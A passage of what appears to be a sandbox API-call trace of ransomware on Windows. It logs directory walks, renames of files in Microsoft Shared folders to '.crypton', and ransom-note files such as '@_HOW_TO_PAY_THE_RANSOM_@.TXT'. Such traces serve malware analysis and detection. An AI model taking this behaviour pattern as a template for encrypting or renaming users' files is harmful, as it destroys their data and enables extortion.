nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.856] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0070.856] AreFileApisANSI () returned 1 [0070.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.862] AreFileApisANSI () returned 1 [0070.863] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.863] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.crypton"), dwFlags=0x2) returned 1 [0070.864] AreFileApisANSI () returned 1 [0070.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0070.864] AreFileApisANSI () returned 1 [0070.864] GetFullPathNameW (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG", lpFilePart=0x0) returned 0x43 [0070.864] GetLastError () returned 0x2 [0070.864] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x54004c, dwReserved1=0x43005c, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0070.864] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x54004c, dwReserved1=0x43005c, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0070.864] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x54004c, dwReserved1=0x43005c, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0070.864] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x54004c, dwReserved1=0x43005c, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0070.864] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x54004c, dwReserved1=0x43005c, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0070.864] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x54004c, dwReserved1=0x43005c, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0070.864] AreFileApisANSI () returned 1 [0070.864] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.870] AreFileApisANSI () returned 1 [0070.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.870] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.crypton"), dwFlags=0x2) returned 1 [0070.871] AreFileApisANSI () returned 1 [0070.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.871] AreFileApisANSI () returned 1 [0070.871] GetFullPathNameW (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM", lpFilePart=0x0) returned 0x3d [0070.871] GetLastError () returned 0x2 [0070.871] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0070.871] AreFileApisANSI () returned 1 [0070.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.880] AreFileApisANSI () returned 1 [0070.880] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.880] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.crypton"), dwFlags=0x2) returned 1 [0070.881] AreFileApisANSI () returned 1 [0070.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.881] AreFileApisANSI () returned 1 [0070.881] GetFullPathNameW (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS", lpFilePart=0x0) returned 0x3d [0070.881] GetLastError () returned 0x2 [0070.881] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0070.881] AreFileApisANSI () returned 1 [0070.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.883] AreFileApisANSI () returned 1 [0070.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.883] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.crypton"), dwFlags=0x2) returned 1 [0070.883] AreFileApisANSI () returned 1 [0070.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.884] AreFileApisANSI () returned 1 [0070.884] GetFullPathNameW (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF", lpFilePart=0x0) returned 0x3d [0070.884] GetLastError () returned 0x2 [0070.884] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0070.884] AreFileApisANSI () returned 1 [0070.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.886] AreFileApisANSI () returned 1 [0070.886] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.886] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.crypton"), dwFlags=0x2) returned 1 [0070.887] AreFileApisANSI () returned 1 [0070.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.887] AreFileApisANSI () returned 1 [0070.887] GetFullPathNameW (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG", lpFilePart=0x0) returned 0x3d [0070.887] GetLastError () returned 0x2 [0070.887] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0070.887] AreFileApisANSI () returned 1 [0070.887] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.889] AreFileApisANSI () returned 1 [0070.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ab938, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.889] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.crypton" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.crypton"), dwFlags=0x2) returned 1 [0070.890] AreFileApisANSI () returned 1 [0070.890] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524400, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 63 [0070.890] AreFileApisANSI () returned 1 [0070.890] GetFullPathNameW (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG", lpFilePart=0x0) returned 0x3d [0070.890] GetLastError () returned 0x2 [0070.890] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0070.890] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0070.890] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0070.890] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0070.890] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x54004c, dwReserved1=0x4d005c, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0070.890] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.890] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="Help", cAlternateFileName="")) returned 1 [0070.891] AreFileApisANSI () returned 1 [0070.891] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0070.897] GetFileType (hFile=0x190) returned 0x1 [0070.899] AreFileApisANSI () returned 1 [0070.899] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0070.902] AreFileApisANSI () returned 1 [0070.902] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0070.903] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0070.903] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="..", cAlternateFileName="")) returned 1 [0070.903] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79c9380, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa79c9380, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.903] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79ef4e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.903] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa79ef4e0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa79ef4e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.904] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0070.904] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0070.904] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0070.904] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x33000437, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0070.904] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0070.904] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3a000238, cFileName="ink", cAlternateFileName="")) returned 1 [0070.904] AreFileApisANSI () returned 1 [0070.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.905] AreFileApisANSI () returned 1 [0070.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0070.906] AreFileApisANSI () returned 1 [0070.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0070.907] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa79ef4e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, 